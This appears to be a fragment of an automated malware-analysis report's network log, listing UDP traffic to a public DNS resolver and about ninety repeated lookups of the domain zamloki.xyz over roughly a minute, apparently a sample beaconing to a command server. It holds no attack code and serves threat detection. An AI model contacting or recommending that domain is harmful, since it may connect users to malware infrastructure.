Jul 27, 2021 22:07:43.713284969 CEST	64091	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:43.735411882 CEST	53	64091	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:44.427721977 CEST	55728	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:44.451081038 CEST	53	55728	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:45.035538912 CEST	55694	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:45.060008049 CEST	53	55694	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:45.607832909 CEST	53926	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:45.631979942 CEST	53	53926	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:46.180051088 CEST	65531	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:46.200480938 CEST	53	65531	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:46.760620117 CEST	65437	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:46.781471014 CEST	53	65437	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:47.337115049 CEST	54590	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:47.358086109 CEST	53	54590	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:47.882385015 CEST	51318	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:47.906095982 CEST	53	51318	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:48.423389912 CEST	60888	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:48.447359085 CEST	53	60888	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:48.963819027 CEST	58474	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:48.987023115 CEST	53	58474	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:49.495031118 CEST	64575	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:49.518418074 CEST	53	64575	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:50.063832998 CEST	59092	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:50.086680889 CEST	53	59092	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:50.721537113 CEST	57483	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:50.743263006 CEST	53	57483	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:51.343812943 CEST	53830	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:51.366127014 CEST	53	53830	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:51.959873915 CEST	49809	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:51.980735064 CEST	53	49809	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:52.573179960 CEST	52814	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:52.595231056 CEST	53	52814	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:53.140275955 CEST	51069	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:53.164688110 CEST	53	51069	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:53.861737013 CEST	56526	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:53.883261919 CEST	53	56526	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:54.498670101 CEST	50512	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:54.519440889 CEST	53	50512	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:55.024970055 CEST	51679	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:55.049324036 CEST	53	51679	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:55.579940081 CEST	56071	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:55.602128029 CEST	53	56071	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:56.292409897 CEST	58950	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:56.315433979 CEST	53	58950	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:56.940010071 CEST	57035	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:56.951710939 CEST	54122	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:56.962476015 CEST	53	57035	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:57.006037951 CEST	53	54122	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:57.626892090 CEST	56759	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:57.649033070 CEST	53	56759	8.8.8.8	192.168.2.6
Jul 27, 2021 22:07:58.163661003 CEST	59220	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:07:58.185276985 CEST	53	59220	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:00.186151981 CEST	62211	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:00.209605932 CEST	53	62211	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:00.827334881 CEST	62033	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:00.851979971 CEST	53	62033	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:01.513102055 CEST	61244	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:01.536153078 CEST	53	61244	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:02.158485889 CEST	53696	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:02.179868937 CEST	53	53696	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:02.792118073 CEST	50733	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:02.814191103 CEST	53	50733	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:03.374785900 CEST	55770	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:03.394740105 CEST	53	55770	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:04.125160933 CEST	54525	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:04.146708965 CEST	53	54525	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:04.625993967 CEST	61760	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:04.646667004 CEST	53	61760	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:05.211010933 CEST	63822	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:05.232697964 CEST	53	63822	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:05.598419905 CEST	50957	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:05.620328903 CEST	53	50957	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:05.838768005 CEST	59666	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:05.861351013 CEST	53	59666	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:06.357103109 CEST	52223	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:06.377835989 CEST	53	52223	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:06.920332909 CEST	60136	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:06.941040993 CEST	53	60136	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:07.509033918 CEST	55649	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:07.529706955 CEST	53	55649	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:08.123569012 CEST	51524	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:08.145478964 CEST	53	51524	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:08.721528053 CEST	59141	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:08.743094921 CEST	53	59141	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:08.996463060 CEST	49682	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:09.032582998 CEST	53	49682	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:09.388247013 CEST	49709	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:09.411967993 CEST	53	49709	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:10.319905996 CEST	59384	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:10.343190908 CEST	53	59384	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:10.956221104 CEST	50284	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:10.979068041 CEST	53	50284	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:11.627228975 CEST	53089	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:11.650468111 CEST	53	53089	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:12.200957060 CEST	50563	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:12.221671104 CEST	53	50563	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:12.747616053 CEST	50265	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:12.769138098 CEST	53	50265	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:13.282711029 CEST	55442	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:13.303649902 CEST	53	55442	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:13.927918911 CEST	49561	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:13.948546886 CEST	53	49561	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:14.514020920 CEST	54097	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:14.535469055 CEST	53	54097	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:16.434149981 CEST	59502	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:16.454864979 CEST	53	59502	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:18.444058895 CEST	57959	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:18.466173887 CEST	53	57959	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:19.079682112 CEST	54971	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:19.105074883 CEST	53	54971	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:19.619904041 CEST	50969	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:19.643621922 CEST	53	50969	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:20.188302994 CEST	52183	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:20.209125042 CEST	53	52183	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:20.761672974 CEST	63354	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:20.783215046 CEST	53	63354	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:21.296138048 CEST	50635	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:21.318178892 CEST	53	50635	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:21.892956018 CEST	61603	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:21.915947914 CEST	53	61603	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:22.439582109 CEST	58318	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:22.462354898 CEST	53	58318	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:23.014514923 CEST	60826	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:23.037271023 CEST	53	60826	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:23.561810017 CEST	57763	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:23.583260059 CEST	53	57763	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:24.097238064 CEST	50111	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:24.120616913 CEST	53	50111	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:24.696661949 CEST	57206	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:24.718106031 CEST	53	57206	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:25.298757076 CEST	57132	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:25.319371939 CEST	53	57132	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:25.863683939 CEST	55483	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:25.886291981 CEST	53	55483	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:26.424665928 CEST	61626	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:26.448719025 CEST	53	61626	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:26.995623112 CEST	59675	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:27.018085957 CEST	53	59675	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:27.653650999 CEST	60149	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:27.675276995 CEST	53	60149	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:28.250874996 CEST	62141	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:28.277193069 CEST	53	62141	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:28.792701960 CEST	49345	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:28.814001083 CEST	53	49345	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:29.354494095 CEST	64074	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:29.380559921 CEST	53	64074	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:29.885061979 CEST	55829	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:29.908271074 CEST	53	55829	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:30.442725897 CEST	62260	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:30.463634968 CEST	53	62260	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:31.023560047 CEST	64211	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:31.045845985 CEST	53	64211	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:31.594857931 CEST	52578	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:31.615403891 CEST	53	52578	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:32.150862932 CEST	50711	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:32.173557997 CEST	53	50711	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:32.820031881 CEST	61820	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:32.848566055 CEST	53	61820	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:33.442668915 CEST	57735	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:33.464670897 CEST	53	57735	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:34.114330053 CEST	55006	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:34.138983011 CEST	53	55006	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:34.718189001 CEST	56061	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:34.742245913 CEST	53	56061	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:35.217886925 CEST	63969	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:35.241004944 CEST	53	63969	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:35.741748095 CEST	56101	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:35.765486956 CEST	53	56101	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:36.242161036 CEST	62167	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:36.263318062 CEST	53	62167	8.8.8.8	192.168.2.6
Jul 27, 2021 22:08:36.775782108 CEST	58929	53	192.168.2.6	8.8.8.8
Jul 27, 2021 22:08:36.798065901 CEST	53	58929	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 27, 2021 22:07:15.639252901 CEST	192.168.2.6	8.8.8.8	0x9afe	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:16.294101000 CEST	192.168.2.6	8.8.8.8	0xa405	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:16.834650993 CEST	192.168.2.6	8.8.8.8	0xeb1c	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:17.439420938 CEST	192.168.2.6	8.8.8.8	0x925d	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:18.174911976 CEST	192.168.2.6	8.8.8.8	0x5a5	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:19.502243996 CEST	192.168.2.6	8.8.8.8	0xc558	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:20.927108049 CEST	192.168.2.6	8.8.8.8	0x38f3	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:21.572854996 CEST	192.168.2.6	8.8.8.8	0x4f17	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:22.614212036 CEST	192.168.2.6	8.8.8.8	0x21bc	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:23.426461935 CEST	192.168.2.6	8.8.8.8	0x7cf0	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:24.008462906 CEST	192.168.2.6	8.8.8.8	0xecee	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:24.657164097 CEST	192.168.2.6	8.8.8.8	0x1017	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:25.220058918 CEST	192.168.2.6	8.8.8.8	0xd620	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:25.769077063 CEST	192.168.2.6	8.8.8.8	0xd8a3	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:26.384929895 CEST	192.168.2.6	8.8.8.8	0xfdc3	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:27.011033058 CEST	192.168.2.6	8.8.8.8	0x8dae	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:27.567912102 CEST	192.168.2.6	8.8.8.8	0x81f1	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:28.128863096 CEST	192.168.2.6	8.8.8.8	0x7e7f	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:28.660516977 CEST	192.168.2.6	8.8.8.8	0x2c3d	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:29.200289011 CEST	192.168.2.6	8.8.8.8	0xc3a7	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:29.846616030 CEST	192.168.2.6	8.8.8.8	0x91f	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:30.362584114 CEST	192.168.2.6	8.8.8.8	0x5409	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:30.915838003 CEST	192.168.2.6	8.8.8.8	0x6d5f	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:31.505188942 CEST	192.168.2.6	8.8.8.8	0xc446	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:32.136862993 CEST	192.168.2.6	8.8.8.8	0x1467	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:32.742846966 CEST	192.168.2.6	8.8.8.8	0x23af	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:33.360507965 CEST	192.168.2.6	8.8.8.8	0x1041	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:33.984142065 CEST	192.168.2.6	8.8.8.8	0x8d0a	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:34.563345909 CEST	192.168.2.6	8.8.8.8	0x88d7	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:35.211946011 CEST	192.168.2.6	8.8.8.8	0x460b	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:35.744800091 CEST	192.168.2.6	8.8.8.8	0xc015	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:36.386444092 CEST	192.168.2.6	8.8.8.8	0x25b	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:37.308650970 CEST	192.168.2.6	8.8.8.8	0x307f	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:38.470330000 CEST	192.168.2.6	8.8.8.8	0xcaf7	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:39.027151108 CEST	192.168.2.6	8.8.8.8	0x474a	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:40.588782072 CEST	192.168.2.6	8.8.8.8	0xf52b	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:41.289868116 CEST	192.168.2.6	8.8.8.8	0x8f43	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:41.920481920 CEST	192.168.2.6	8.8.8.8	0xe3f6	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:42.454157114 CEST	192.168.2.6	8.8.8.8	0x5b25	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:43.082942963 CEST	192.168.2.6	8.8.8.8	0xc378	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:43.713284969 CEST	192.168.2.6	8.8.8.8	0x4c58	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:44.427721977 CEST	192.168.2.6	8.8.8.8	0xf9a	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:45.035538912 CEST	192.168.2.6	8.8.8.8	0x8502	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:45.607832909 CEST	192.168.2.6	8.8.8.8	0x41ed	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:46.180051088 CEST	192.168.2.6	8.8.8.8	0xf5dd	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:46.760620117 CEST	192.168.2.6	8.8.8.8	0xe0e6	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:47.337115049 CEST	192.168.2.6	8.8.8.8	0x688b	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:47.882385015 CEST	192.168.2.6	8.8.8.8	0xfa9e	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:48.423389912 CEST	192.168.2.6	8.8.8.8	0x9dcb	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:48.963819027 CEST	192.168.2.6	8.8.8.8	0xa762	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:49.495031118 CEST	192.168.2.6	8.8.8.8	0x98e9	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:50.063832998 CEST	192.168.2.6	8.8.8.8	0x6568	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:50.721537113 CEST	192.168.2.6	8.8.8.8	0x22d5	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:51.343812943 CEST	192.168.2.6	8.8.8.8	0x1aef	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:51.959873915 CEST	192.168.2.6	8.8.8.8	0xf430	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:52.573179960 CEST	192.168.2.6	8.8.8.8	0x6266	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:53.140275955 CEST	192.168.2.6	8.8.8.8	0x7277	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:53.861737013 CEST	192.168.2.6	8.8.8.8	0x49c7	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:54.498670101 CEST	192.168.2.6	8.8.8.8	0x84a2	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:55.024970055 CEST	192.168.2.6	8.8.8.8	0xd1a6	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:55.579940081 CEST	192.168.2.6	8.8.8.8	0x3840	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:56.292409897 CEST	192.168.2.6	8.8.8.8	0xd040	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:56.940010071 CEST	192.168.2.6	8.8.8.8	0x3714	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:57.626892090 CEST	192.168.2.6	8.8.8.8	0xc180	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:58.163661003 CEST	192.168.2.6	8.8.8.8	0x843a	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:00.186151981 CEST	192.168.2.6	8.8.8.8	0x9884	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:00.827334881 CEST	192.168.2.6	8.8.8.8	0x6757	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:01.513102055 CEST	192.168.2.6	8.8.8.8	0x24	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:02.158485889 CEST	192.168.2.6	8.8.8.8	0xefde	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:02.792118073 CEST	192.168.2.6	8.8.8.8	0x6bfb	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:03.374785900 CEST	192.168.2.6	8.8.8.8	0xb280	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:04.125160933 CEST	192.168.2.6	8.8.8.8	0x2fe6	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:04.625993967 CEST	192.168.2.6	8.8.8.8	0xbea4	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:05.211010933 CEST	192.168.2.6	8.8.8.8	0x5443	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:05.838768005 CEST	192.168.2.6	8.8.8.8	0xa964	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:06.357103109 CEST	192.168.2.6	8.8.8.8	0x52c6	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:06.920332909 CEST	192.168.2.6	8.8.8.8	0x9ff	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:07.509033918 CEST	192.168.2.6	8.8.8.8	0x48cd	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:08.123569012 CEST	192.168.2.6	8.8.8.8	0x8c5a	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:08.721528053 CEST	192.168.2.6	8.8.8.8	0x3798	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:09.388247013 CEST	192.168.2.6	8.8.8.8	0xddbe	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:10.319905996 CEST	192.168.2.6	8.8.8.8	0x563c	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:10.956221104 CEST	192.168.2.6	8.8.8.8	0x2a8e	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:11.627228975 CEST	192.168.2.6	8.8.8.8	0x8c19	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:12.200957060 CEST	192.168.2.6	8.8.8.8	0x33d	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:12.747616053 CEST	192.168.2.6	8.8.8.8	0x55c4	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:13.282711029 CEST	192.168.2.6	8.8.8.8	0x6f14	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:13.927918911 CEST	192.168.2.6	8.8.8.8	0xa7de	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:14.514020920 CEST	192.168.2.6	8.8.8.8	0x803b	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:16.434149981 CEST	192.168.2.6	8.8.8.8	0x3678	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:18.444058895 CEST	192.168.2.6	8.8.8.8	0x3fb9	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
